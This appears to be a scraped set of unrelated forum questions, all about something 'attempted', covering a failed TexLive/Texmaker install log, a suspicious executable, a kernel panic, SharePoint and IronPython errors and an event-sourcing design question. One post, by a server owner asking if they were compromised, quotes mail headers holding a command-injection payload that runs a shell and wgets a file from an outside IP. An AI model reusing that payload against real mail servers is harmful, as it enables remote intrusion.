Problem Installing anything related to TexLive, including Texmaker, after corrupted texlive installation attempted

I have been using MikTex with TexMaker as a compiler/editor.

At one point, I tried to remove MikTex and switch to TexLive, which didn’t work as the installation got corrupted. I have looked at several questions on this site and used them to remove any residue of TexLive(see https://tex.stackexchange.com/questions/95483/how-to-remove-everything-related-to-tex-live-for-fresh-install-on-ubuntu/95502#95502); I purged texmf and ~/.texlive.

I then reinstalled MikTex. Now, when I try to reinstall TexMaker, I find out that it needs TexLive packages as well, and it yields the same errors as when trying to install TexLive. In particular, there seems to be a chain of errors related to the processing of texlive packages, and something connected to kpsewhich; also a lot of things connected to dependencies which need to be installed but can’t be configured.

I attach the output of “sudo apt-get install texmaker”.

Reading package lists... Done Building dependency tree        Reading state information... Done The following additional packages will be installed:   asymptote asymptote-doc fonts-lmodern fonts-texgyre freeglut3 libfile-homedir-perl libfile-which-perl libmime-charset-perl libosmesa6 libqt5printsupport5 libsombok3 libunicode-linebreak-perl libyaml-tiny-perl lmodern   preview-latex-style ps2eps tex-gyre texlive-base texlive-extra-utils texlive-font-utils texlive-fonts-recommended texlive-lang-english texlive-latex-base texlive-latex-extra texlive-latex-recommended texlive-pictures   texlive-plain-generic texlive-pstricks texmaker-data tipa Suggested packages:   libencode-hanextra-perl libpod2-base-perl perl-tk chktex dvidvi dvipng fragmaster lacheck latexdiff latexmk purifyeps xindy texlive-fonts-recommended-doc texlive-latex-base-doc python-pygments icc-profiles   libspreadsheet-parseexcel-perl texlive-latex-extra-doc texlive-latex-recommended-doc dot2tex prerex ruby-tcltk | libtcltk-ruby texlive-pictures-doc vprerex texlive-pstricks-doc texlive-lang-all Recommended packages:   latex-beamer The following NEW packages will be installed:   asymptote asymptote-doc fonts-lmodern fonts-texgyre freeglut3 libfile-homedir-perl libfile-which-perl libmime-charset-perl libosmesa6 libqt5printsupport5 libsombok3 libunicode-linebreak-perl libyaml-tiny-perl lmodern   preview-latex-style ps2eps tex-gyre texlive-base texlive-extra-utils texlive-font-utils texlive-fonts-recommended texlive-lang-english texlive-latex-base texlive-latex-extra texlive-latex-recommended texlive-pictures   texlive-plain-generic texlive-pstricks texmaker texmaker-data tipa 0 upgraded, 31 newly installed, 0 to remove and 3 not upgraded. Need to get 0 B/254 MB of archives. After this operation, 545 MB of additional disk space will be used. Extracting templates from packages: 100% Preconfiguring packages ... Selecting previously unselected package freeglut3:amd64. (Reading database ... 264719 files and directories currently installed.) Preparing to unpack .../00-freeglut3_2.8.1-3_amd64.deb ... Unpacking freeglut3:amd64 (2.8.1-3) ... Selecting previously unselected package libosmesa6:amd64. Preparing to unpack .../01-libosmesa6_19.0.8-0ubuntu0~18.04.2_amd64.deb ... Unpacking libosmesa6:amd64 (19.0.8-0ubuntu0~18.04.2) ... Selecting previously unselected package fonts-lmodern. Preparing to unpack .../02-fonts-lmodern_2.004.5-3_all.deb ... Unpacking fonts-lmodern (2.004.5-3) ... Selecting previously unselected package texlive-base. Preparing to unpack .../03-texlive-base_2017.20180305-1_all.deb ... Unpacking texlive-base (2017.20180305-1) ... Selecting previously unselected package texlive-latex-base. Preparing to unpack .../04-texlive-latex-base_2017.20180305-1_all.deb ... Unpacking texlive-latex-base (2017.20180305-1) ... Selecting previously unselected package texlive-latex-recommended. Preparing to unpack .../05-texlive-latex-recommended_2017.20180305-1_all.deb ... Unpacking texlive-latex-recommended (2017.20180305-1) ... Selecting previously unselected package texlive-pictures. Preparing to unpack .../06-texlive-pictures_2017.20180305-1_all.deb ... Unpacking texlive-pictures (2017.20180305-1) ... Selecting previously unselected package texlive-plain-generic. Preparing to unpack .../07-texlive-plain-generic_2017.20180305-2_all.deb ... Unpacking texlive-plain-generic (2017.20180305-2) ... Selecting previously unselected package texlive-pstricks. Preparing to unpack .../08-texlive-pstricks_2017.20180305-2_all.deb ... Unpacking texlive-pstricks (2017.20180305-2) ... Selecting previously unselected package asymptote. Preparing to unpack .../09-asymptote_2.41-4_amd64.deb ... Unpacking asymptote (2.41-4) ... Selecting previously unselected package asymptote-doc. Preparing to unpack .../10-asymptote-doc_2.41-4_all.deb ... Unpacking asymptote-doc (2.41-4) ... Selecting previously unselected package fonts-texgyre. Preparing to unpack .../11-fonts-texgyre_20160520-1_all.deb ... Unpacking fonts-texgyre (20160520-1) ... Selecting previously unselected package libfile-which-perl. Preparing to unpack .../12-libfile-which-perl_1.21-1_all.deb ... Unpacking libfile-which-perl (1.21-1) ... Selecting previously unselected package libfile-homedir-perl. Preparing to unpack .../13-libfile-homedir-perl_1.002-1_all.deb ... Unpacking libfile-homedir-perl (1.002-1) ... Selecting previously unselected package libmime-charset-perl. Preparing to unpack .../14-libmime-charset-perl_1.012.2-1_all.deb ... Unpacking libmime-charset-perl (1.012.2-1) ... Selecting previously unselected package libqt5printsupport5:amd64. Preparing to unpack .../15-libqt5printsupport5_5.9.5+dfsg-0ubuntu2.3_amd64.deb ... Unpacking libqt5printsupport5:amd64 (5.9.5+dfsg-0ubuntu2.3) ... Selecting previously unselected package libsombok3:amd64. Preparing to unpack .../16-libsombok3_2.4.0-1_amd64.deb ... Unpacking libsombok3:amd64 (2.4.0-1) ... Selecting previously unselected package libunicode-linebreak-perl. Preparing to unpack .../17-libunicode-linebreak-perl_0.0.20160702-1build2_amd64.deb ... Unpacking libunicode-linebreak-perl (0.0.20160702-1build2) ... Selecting previously unselected package libyaml-tiny-perl. Preparing to unpack .../18-libyaml-tiny-perl_1.70-1_all.deb ... Unpacking libyaml-tiny-perl (1.70-1) ... Selecting previously unselected package lmodern. Preparing to unpack .../19-lmodern_2.004.5-3_all.deb ... Unpacking lmodern (2.004.5-3) ... Selecting previously unselected package preview-latex-style. Preparing to unpack .../20-preview-latex-style_11.91-1ubuntu1_all.deb ... Unpacking preview-latex-style (11.91-1ubuntu1) ... Selecting previously unselected package ps2eps. Preparing to unpack .../21-ps2eps_1.68+binaryfree-2_amd64.deb ... Unpacking ps2eps (1.68+binaryfree-2) ... Selecting previously unselected package tex-gyre. Preparing to unpack .../22-tex-gyre_20160520-1_all.deb ... Unpacking tex-gyre (20160520-1) ... Selecting previously unselected package texlive-extra-utils. Preparing to unpack .../23-texlive-extra-utils_2017.20180305-2_all.deb ... Unpacking texlive-extra-utils (2017.20180305-2) ... Selecting previously unselected package texlive-font-utils. Preparing to unpack .../24-texlive-font-utils_2017.20180305-2_all.deb ... Unpacking texlive-font-utils (2017.20180305-2) ... Selecting previously unselected package texlive-fonts-recommended. Preparing to unpack .../25-texlive-fonts-recommended_2017.20180305-1_all.deb ... Unpacking texlive-fonts-recommended (2017.20180305-1) ... Selecting previously unselected package texlive-lang-english. Preparing to unpack .../26-texlive-lang-english_2017.20180305-1_all.deb ... Unpacking texlive-lang-english (2017.20180305-1) ... Selecting previously unselected package texlive-latex-extra. Preparing to unpack .../27-texlive-latex-extra_2017.20180305-2_all.deb ... Unpacking texlive-latex-extra (2017.20180305-2) ... Selecting previously unselected package texmaker-data. Preparing to unpack .../28-texmaker-data_5.0.2-1build2_all.deb ... Unpacking texmaker-data (5.0.2-1build2) ... Selecting previously unselected package texmaker. Preparing to unpack .../29-texmaker_5.0.2-1build2_amd64.deb ... Unpacking texmaker (5.0.2-1build2) ... Selecting previously unselected package tipa. Preparing to unpack .../30-tipa_2%3a1.3-20_all.deb ... Unpacking tipa (2:1.3-20) ... Setting up freeglut3:amd64 (2.8.1-3) ... Setting up libfile-which-perl (1.21-1) ... Setting up libosmesa6:amd64 (19.0.8-0ubuntu0~18.04.2) ... Setting up libfile-homedir-perl (1.002-1) ... Setting up tex-gyre (20160520-1) ... Setting up texmaker-data (5.0.2-1build2) ... Setting up preview-latex-style (11.91-1ubuntu1) ... Setting up fonts-texgyre (20160520-1) ... Setting up libqt5printsupport5:amd64 (5.9.5+dfsg-0ubuntu2.3) ... Setting up libyaml-tiny-perl (1.70-1) ... Setting up libmime-charset-perl (1.012.2-1) ... Setting up asymptote-doc (2.41-4) ... Setting up texlive-base (2017.20180305-1) ... mktexlsr: Updating /var/lib/texmf/ls-R-TEXLIVEDIST...  mktexlsr: Updating /usr/share/texmf/ls-R...  mktexlsr: Updating /var/lib/texmf/ls-R...  mktexlsr: Done. kpsewhich: warning: running with administrator privileges initexmf: warning: Option --admin should be specified when running this program with administrator privileges initexmf: warning: Option --admin should be specified when running this program with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges tl-paper: setting paper size for dvips to a4: /var/cache/miktex-texmf/dvips/config/config-paper.ps kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges tl-paper: setting paper size for dvipdfmx to a4: /var/cache/miktex-texmf/dvipdfmx/dvipdfmx-paper.cfg kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges Can't use string ("2") as an ARRAY ref while "strict refs" in use at /usr/bin/tl-paper line 112. kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges tl-paper: setting paper size for pdftex to a4: /var/cache/miktex-texmf/tex/generic/config/pdftexconfig.tex kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges kpsewhich: warning: running with administrator privileges Can't use string ("2") as an ARRAY ref while "strict refs" in use at /usr/bin/tl-paper line 112. dpkg: error processing package texlive-base (--configure):  installed texlive-base package post-installation script subprocess returned error exit status 1 Setting up ps2eps (1.68+binaryfree-2) ... dpkg: dependency problems prevent configuration of texlive-fonts-recommended:  texlive-fonts-recommended depends on texlive-base (>= 2017.20170628); however:   Package texlive-base is not configured yet.  dpkg: error processing package texlive-fonts-recommended (--configure):  dependency problems - leaving unconfigured dpkg: dependency problems prevent configuration of texlive-plain-generic:  texlive-plain-generic depends on texlive-base (>= 2017.20170628); however:   Package texlive-base is not configured yet.  No apport report written because the error message indicates its a followup error from a previous failure.                                                                                                           No apport report written because the error message indicates its a followup error from a previous failure.                                                                                                                                                                                                                     dpkg: error processing package texlive-plain-generic (--configure):  dependency problems - leaving unconfigured Setting up texmaker (5.0.2-1build2) ... dpkg: dependency problems prevent configuration of texlive-latex-base:  texlive-latex-base depends on texlive-base (>= 2017.20170628); however:   Package texlive-base is not configured yet.  dpkg: error processing package texlive-latex-base (--configure):  dependency problems - leaving unconfigured Setting up libsombok3:amd64 (2.4.0-1) ... No apport report written because MaxReports is reached already                                                               Setting up fonts-lmodern (2.004.5-3) ... dpkg: dependency problems prevent configuration of asymptote:  asymptote depends on texlive-latex-base; however:   Package texlive-latex-base is not configured yet.  asymptote depends on texlive-plain-generic; however:   Package texlive-plain-generic is not configured yet.  dpkg: error processing package asymptote (--configure):  dependency problems - leaving unconfigured No apport report written because MaxReports is reached already                                                               dpkg: dependency problems prevent configuration of texlive-pstricks:  texlive-pstricks depends on texlive-base (>= 2017.20170628); however:   Package texlive-base is not configured yet.  texlive-pstricks depends on texlive-plain-generic (>= 2017.20170628); however:   Package texlive-plain-generic is not configured yet.  dpkg: error processing package texlive-pstricks (--configure):  dependency problems - leaving unconfigured dpkg: dependency problems prevent configuration of texlive-latex-recommended:  texlive-latex-recommended depends on texlive-base (>= 2017.20170628); however:   Package texlive-base is not configured yet.  texlive-latex-recommended depends on texlive-latex-base (>= 2017.20170628); however:   Package texlive-latex-base is not configured yet.  dpkg: error processing package texlive-latex-recommended (--configure):  dependency problems - leaving unconfigured No apport report written because MaxReports is reached already                                                               No apport report written because MaxReports is reached already                                                                                                                             dpkg: dependency problems prevent configuration of texlive-extra-utils:  texlive-extra-utils depends on texlive-base (>= 2017.20170628); however:   Package texlive-base is not configured yet.  texlive-extra-utils depends on texlive-latex-base (>= 2017.20170628); however:   Package texlive-latex-base is not configured yet.  dpkg: error processing package texlive-extra-utils (--configure):  dependency problems - leaving unconfigured dpkg: dependency problems prevent configuration of texlive-latex-extra:  texlive-latex-extra depends on texlive-base (>= 2017.20170628); however:   Package texlive-base is not configured yet.  texlive-latex-extra depends on texlive-latex-recommended (>= 2017.20170628); however:   Package texlive-latex-recommended is not configured yet.  No apport report written because MaxReports is reached already                                                               No apport report written because MaxReports is reached already                                                                                                                             dpkg: error processing package texlive-latex-extra (--configure):  dependency problems - leaving unconfigured dpkg: dependency problems prevent configuration of texlive-pictures:  texlive-pictures depends on texlive-base (>= 2017.20170628); however:   Package texlive-base is not configured yet.  texlive-pictures depends on texlive-latex-recommended (>= 2017.20170628); however:   Package texlive-latex-recommended is not configured yet.  dpkg: error processing package texlive-pictures (--configure): No apport report written because MaxReports is reached already                                                                dependency problems - leaving unconfigured dpkg: dependency problems prevent configuration of tipa:  tipa depends on texlive-latex-base; however:   Package texlive-latex-base is not configured yet.  dpkg: error processing package tipa (--configure):  dependency problems - leaving unconfigured No apport report written because MaxReports is reached already                                                               dpkg: dependency problems prevent configuration of texlive-font-utils:  texlive-font-utils depends on texlive-base (>= 2017.20170628); however:   Package texlive-base is not configured yet.  dpkg: error processing package texlive-font-utils (--configure):  dependency problems - leaving unconfigured No apport report written because MaxReports is reached already                                                               dpkg: dependency problems prevent configuration of texlive-lang-english:  texlive-lang-english depends on texlive-base (>= 2017.20170628); however:   Package texlive-base is not configured yet.  dpkg: error processing package texlive-lang-english (--configure):  dependency problems - leaving unconfigured No apport report written because MaxReports is reached already                                                               Setting up libunicode-linebreak-perl (0.0.20160702-1build2) ... Setting up lmodern (2.004.5-3) ... Processing triggers for tex-common (6.09) ... Running mktexlsr. This may take some time... done. texlive-base is not ready, delaying updmap-sys call Processing triggers for mime-support (3.60ubuntu1) ... Processing triggers for desktop-file-utils (0.23-1ubuntu3.18.04.2) ... Processing triggers for install-info (6.5.0.dfsg.1-2) ... Processing triggers for bamfdaemon (0.5.3+18.04.20180207.2-0ubuntu1) ... Rebuilding /usr/share/applications/bamf-2.index... Processing triggers for libc-bin (2.27-3ubuntu1) ... Processing triggers for man-db (2.8.3-2ubuntu0.1) ... Processing triggers for gnome-menus (3.13.3-11ubuntu1.1) ... Processing triggers for hicolor-icon-theme (0.17-2) ... Processing triggers for fontconfig (2.12.6-0ubuntu2) ... Errors were encountered while processing:  texlive-base  texlive-fonts-recommended  texlive-plain-generic  texlive-latex-base  asymptote  texlive-pstricks  texlive-latex-recommended  texlive-extra-utils  texlive-latex-extra  texlive-pictures  tipa  texlive-font-utils  texlive-lang-english E: Sub-process /usr/bin/dpkg returned an error code (1) 

Unknown process attempted to execute code

This morning I booted up my computer and not long afterward, got a notification from ByteFence (unsubscribed) that an unknown process attempted to execute a command that was deemed unwanted. ByteFence gives me the option to ignore the “threat” and let it execute, but to Block it, I need to pay for their service.

I don’t recognize the filename, and a quick Google search didn’t turn up any results that were helpful… mostly just weird looking results that look like garbage text. Here is the message from ByteFence:

ryiddps

As you can see, the executable name is “ryiddps.exe”. And the parameter after does seem unusual. I killed the process in Task Manager and deleted the executable, as well as its parent directory, and it hasn’t yet re-appeared (in case it’s self-replicating), but I don’t know whether the damage could already be done, assuming this executable was, in fact, malicious.

Anyone have any ideas what this application was trying to do, or possibly recognize the application name? I’d like to dismiss the damn ByteFence notification, as it’s stealing focus from all other applications, but I don’t know if I should click Ignore.

Kernel tainted and attempted to kill init ubuntu 16.04.06

This is the image of what loads on my screen when I try I try to boot up ubuntu. I don’t know how to fix this error. The Kernel is tainted, and I’m not able to fix anything at the moment because accessing any mode at all leads to this same problem. I have a live disk, but I don’t know ow to fix this problem with it. I know reinstalling would be a solution but is there any way to fix this without doing that? Please help. Thanks!

Unusual mail headers, evidence of an attempted attack. Have I been pwned?

Today I found an extremely unusual email in my catchall inbox, without subject sender or content.

In fear that someone had confirmed to have guessed my robust password, I looked at both email itself and mail logs.

Found evidence of an attempt to break the mail server

Received: 20 Received: 19 Received: 22 Received: 21 Received: 18 Received: 15 Received: 14 Received: 17 Received: 16 Received: 29 Received: 28 Received: 31 Received: 30 Received: 27 Received: 24 Received: 23 Received: 26 Received: 25 Received: 13 Received: 3 Received: 4 Received: 5 Received: 2 Received: from example.org (localhost [127.0.0.1])     by example.org (Postfix) with ESMTP id 1FA141219E6     for <root+$  {run{x2Fbinx2Fsht-ctx22wgetx20213.227.155.101x2ftmpx2f52.143.140.67x22}}@example.org>; Wed, 19 Jun 2019 04:42:52 +0200 (CEST) Received: from service.com (unknown [xx.xx.xx.xx])     by example.org (Postfix) with SMTP     for <root+$  {run{x2Fbinx2Fsht-ctx22wgetx20YYY.YYY.YYY.YYYx2ftmpx2fYYY.YYY.YYY.YYYx22}}@example.org>; Wed, 19 Jun 2019 04:42:50 +0200 (CEST) Received: 1 Received: 10 Received: 11 Received: 12 Received: 9 Received: 6 Received: 7 Received: 8 Message-ID: <000701d52665$  301b5e30$  90521a90$  @Domain> MIME-Version: 1.0 Content-Type: text/plain;     charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 16.0 X-Original-To: root+$  {run{x2Fbinx2Fsht-ctx22wgetx20213.227.155.101x2ftmpx2f52.143.140.67x22}}@example.org Authentication-Results: example.org;  X-DKIM-Authentication-Results: none Thread-Index: AQHpZJXbpRRTStcSuHvAzmVQv5xuOw== 

Someone tried to alter the mail destination in order to launch the following (encoded) command

x2Fbinx2Fsht-ctx22wgetx20[IP ADDR]x2ftmpx2f[IP ADDR]x22 /bin/sht-ct#wget [IP ADDR]/tmp/[IP ADDR]# 

Despite sht-ct is something I don’t recall, considering that I assume all attackers know I use postfix.

Apart from this attempt to run an executable, is it a recent known vulnerability? Other than looking carefully at top and crontab, how can I assess if I have been pwned by such attack?

I just rushed to update Postfix, but without knowledge of the vulnerability (and if it ever affects Postfix) I have little clue.

External Content Type Connection : illegal operation attempted on a registry key marked for deletion

when I add a connection to a sql server database in an external content type from Sharepoint Designer 2013 I get this error:

Retrieving the COM class factory for component with CLSID {BDEADDF26....} failed due to the following error: 800703fa illegal operation attempted on a registry key that has been marked for deletion 

I see that CLSID corresponds to

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\ISAPI\OWSSVR.DLL

What’s wrong?

Is it a bad practice or uncommon to save “Invalid operation attempted” events in an Event Store when doing Event Sourcing?

I have a simple toy project that deals with Banking operations (cash deposit, withdrawals, wire transfers, open and close accounts).

I am wondering whether there is something wrong about saving invalid operations.

Say the command sent (eg. withdraw cash command) to the Event Sourced system is flawed, for example the bank account for withdrawing cash does not have enough funds or the account id is invalid / does not exist.

Does the result of a validation can be saved in the event store as well as some sort of Invalid Operation Attempted?

My point is that let’s imagine that those event can somehow have a business value (can make a projection and count how many invalid operations have happened and whatnot) so they can be saved and not just be part of the log?

Attempted “__set__” operation on ASN.1 schema object [migrated]

I’m currently using IronPython to execute Python code in my .NET project. The issue, however, is that I am receiving an error:

Attempted "__set__" operation on ASN.1 schema object 

This is the C# code:

ScriptEngine engine = Python.CreateEngine(); //var searchPaths = engine.GetSearchPaths(); ///searchPaths.Add(@"PATH_TO_FILE"); //searchPaths.Add(@"C:\Python27\Lib\site-packages"); ScriptSource source = engine.CreateScriptSourceFromFile("PATH_TO_FILE"); ScriptScope scope = engine.CreateScope(); scope.SetVariable("startAt", "2019-05-20"); source.Execute(scope); 

I created a basic script and tested again. The script executes fine, so it seems the issue is with the Python code. I can’t link the rest here, however, since a lot of it is API based and requires a lot of setup to get working.

import sys  def main(argv):     print("Done")  if __name__ == "__main__":     main(sys.argv[1:]) 

I was hoping if someone has run into this issue before. I researched online and didn’t find many matches.